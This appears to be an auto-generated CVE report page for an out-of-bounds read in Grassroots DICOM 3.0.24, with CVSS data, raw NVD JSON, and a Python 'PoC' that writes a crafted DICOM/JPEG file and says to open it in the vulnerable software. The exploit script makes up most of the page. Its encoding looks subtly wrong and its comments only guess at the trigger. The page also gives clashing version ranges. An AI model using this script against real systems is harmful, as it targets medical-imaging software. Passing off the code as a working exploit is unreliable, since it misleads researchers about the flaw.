Security Vulnerability Report
中文
CVE-2025-53619 CVSS 7.4 HIGH

CVE-2025-53619

Published: 2025-12-16 22:15:48
Last Modified: 2026-01-02 14:57:53

Description

An out-of-bounds read vulnerability exists in the JPEGBITSCodec::InternalCode functionality of Grassroot DICOM 3.024. A specially crafted DICOM file can lead to an information leak. An attacker can provide a malicious file to trigger this vulnerability.The function `null_convert` is called based of the value of the malicious DICOM file specifying the intended interpretation of the image pixel data

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:malaterre:grassroots_dicom:3.0.24:*:*:*:*:*:*:* - VULNERABLE
Grassroot DICOM < 3.024

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-53619 PoC - Malicious DICOM File Generator # This PoC demonstrates the structure needed to trigger the vulnerability # in Grassroot DICOM JPEGBITSCodec::InternalCode import struct import os def create_malicious_dicom(): """ Create a malicious DICOM file to trigger CVE-2025-53619 The vulnerability is in JPEGBITSCodec::InternalCode functionality where null_convert is called based on malicious file specifications """ # DICOM File Meta Information preamble = b'\x00' * 128 # 128-byte preamble prefix = b'DICM' # DICOM prefix # Group 0002 Elements (File Meta Information) meta_elements = b'' meta_elements += create_element(0x0002, 0x0001, b'1.2.840.10008.5.1.4.1.1.2') # Media Storage SOP Class meta_elements += create_element(0x0002, 0x0002, b'1.2.3.4.5.6.7.8.9.0') # Media Storage SOP Instance meta_elements += create_element(0x0002, 0x0010, b'1.2.840.10008.1.2') # Transfer Syntax # Patient Information patient_elements = b'' patient_elements += create_element(0x0010, 0x0010, b'Patient^Test') # Study Information study_elements = b'' study_elements += create_element(0x0020, 0x000D, b'1.2.3.4.5.6.7.8.9.1') # Series Information series_elements = b'' series_elements += create_element(0x0020, 0x000E, b'1.2.3.4.5.6.7.8.9.2') # Image Information - KEY FOR EXPLOIT # The vulnerability is triggered through JPEG compressed pixel data # where JPEGBITSCodec::InternalCode calls null_convert based on # the BitsAllocated and other photometric interpretation values image_elements = b'' image_elements += create_element(0x0028, 0x0004, b'MONOCHROME1') # PhotometricInterpretation image_elements += create_element(0x0028, 0x0010, b'512') # Rows image_elements += create_element(0x0028, 0x0011, b'512') # Columns image_elements += create_element(0x0028, 0x0100, b'\x00\x10') # BitsAllocated (16-bit) image_elements += create_element(0x0028, 0x0101, b'\x00\x10') # BitsStored image_elements += create_element(0x0028, 0x0102, b'\x00\x0F') # HighBit image_elements += create_element(0x0028, 0x0103, b'\x00\x01') # PixelRepresentation # Malicious JPEG data that triggers out-of-bounds read # The null_convert function will interpret this data incorrectly malicious_jpeg = create_malicious_jpeg_data() image_elements += create_element(0x7FE0, 0x0010, malicious_jpeg) # PixelData # Combine all elements file_meta = preamble + prefix + meta_elements dataset = patient_elements + study_elements + series_elements + image_elements return file_meta + dataset def create_element(group, element, value): """Create a DICOM element with explicit VR""" tag = struct.pack('>HH', group, element) # Determine VR based on tag if group == 0xFFFE: vr = b'\x00\x00' length = struct.pack('<I', len(value)) return tag + length + value elif len(value) < 256: vr = b'OB' if 0x7FE0 <= group <= 0x7FE1 and element == 0x0010 else b'UN' length = struct.pack('>H', len(value)) return tag + vr + length + value else: vr = b'OB' if 0x7FE0 <= group <= 0x7FE1 and element == 0x0010 else b'UN' length = struct.pack('<I', len(value)) reserved = b'\x00\x00' return tag + vr + reserved + length + value def create_malicious_jpeg_data(): """ Create JPEG data that triggers the vulnerability in JPEGBITSCodec::InternalCode The crafted data causes null_convert to be called with values leading to OOB read """ # JPEG SOI marker jpeg = b'\xFF\xD8' # Crafted JPEG APP0 marker with malicious parameters # This influences how JPEGBITSCodec interprets the pixel data app0_length = 18 jpeg += b'\xFF\xE0' + struct.pack('>H', app0_length) jpeg += b'JFIF\x00' # Identifier jpeg += b'\x01\x01' # Version 1.1 jpeg += b'\x00' # Aspect ratio units jpeg += b'\x01\x00' # X density jpeg += b'\x01\x00' # Y density jpeg += b'\x00\x00' # Thumbnail # Crafted DQT (Define Quantization Table) marker # Malformed table values to trigger vulnerability dqt_length = 67 jpeg += b'\xFF\xDB' + struct.pack('>H', dqt_length) jpeg += b'\x00' # Table 0, 8-bit precision for i in range(64): # Crafted quantization values jpeg += bytes([min(255, (i * 17) % 256)]) # Crafted SOF0 (Start of Frame) marker # Values chosen to trigger null_convert in JPEGBITSCodec sof_length = 17 jpeg += b'\xFF\xC0' + struct.pack('>H', sof_length) jpeg += b'\x08' # Precision (8 bits) jpeg += b'\x02\x00' # Height (512) jpeg += b'\x02\x00' # Width (512) jpeg += b'\x01' # Number of components (1 = grayscale) jpeg += b'\x01\x11\x00' # Component 1: ID=1, sampling=1x1, quant table=0 # Add more crafted markers to complete the JPEG structure # The key is to create data that will cause JPEGBITSCodec::InternalCode # to call null_convert with values leading to out-of-bounds read # DHT (Define Huffman Table) - DC table dht_length = 31 jpeg += b'\xFF\xC4' + struct.pack('>H', dht_length) jpeg += b'\x00' # DC table 0 jpeg += b'\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00' jpeg += b'\x00\x00\x00\x00\x00\x00\x00\x00' jpeg += b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B' # DHT - AC table dht_length = 181 jpeg += b'\xFF\xC4' + struct.pack('>H', dht_length) jpeg += b'\x10' # AC table 0 jpeg += b'\x00\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D' jpeg += b'\x01\x02\x03\x00\x04\x11\x05\x12\x21\x31\x41\x06\x13\x51\x61' jpeg += b'\x07\x22\x71\x14\x32\x81\x91\xA1\x08\x23\x42\xB1\xC1\x15\x52' jpeg += b'\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17\x18\x19\x1A' jpeg += b'\x25\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43' jpeg += b'\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59' jpeg += b'\x5A\x63\x64\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77' jpeg += b'\x78\x79\x7A\x83\x84\x85\x86\x87\x88\x89\x8A\x92\x93\x94' jpeg += b'\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9' jpeg += b'\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5' jpeg += b'\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA' jpeg += b'\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\xF4' jpeg += b'\xF5\xF6\xF7\xF8\xF9\xFA' # SOS (Start of Scan) marker sos_length = 12 jpeg += b'\xFF\xDA' + struct.pack('>H', sos_length) jpeg += b'\x01' # Number of components jpeg += b'\x01\x00' # Component 1: DC=0, AC=0 jpeg += b'\x00\x3F\x00' # Spectral selection # Compressed scan data with crafted values # These values are designed to trigger the vulnerability for _ in range(100): jpeg += b'\xFF\x00' # Padding with potential trigger values # Fill with data that may cause buffer overflow jpeg += b'\xFF' * 1000 # EOI (End of Image) marker jpeg += b'\xFF\xD9' return jpeg def main(): """Generate malicious DICOM file for CVE-2025-53619""" print("[*] Generating malicious DICOM file for CVE-2025-53619") print("[*] Target: Grassroot DICOM 3.024") print("[*] Vulnerability: Out-of-bounds read in JPEGBITSCodec::InternalCode") malicious_file = create_malicious_dicom() output_path = 'CVE-2025-53619_malicious.dcm' with open(output_path, 'wb') as f: f.write(malicious_file) print(f"[+] Malicious DICOM file created: {output_path}") print(f"[+] File size: {len(malicious_file)} bytes") print("[+] To trigger vulnerability, open this file in Grassroot DICOM 3.024") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53619", "sourceIdentifier": "[email protected]", "published": "2025-12-16T22:15:47.827", "lastModified": "2026-01-02T14:57:53.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds read vulnerability exists in the JPEGBITSCodec::InternalCode functionality of Grassroot DICOM 3.024. A specially crafted DICOM file can lead to an information leak. An attacker can provide a malicious file to trigger this vulnerability.The function `null_convert` is called based of the value of the malicious DICOM file specifying the intended interpretation of the image pixel data"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:malaterre:grassroots_dicom:3.0.24:*:*:*:*:*:*:*", "matchCriteriaId": "A16DCE91-B5C6-40F1-A05A-D3446C06CC2D"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2210", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}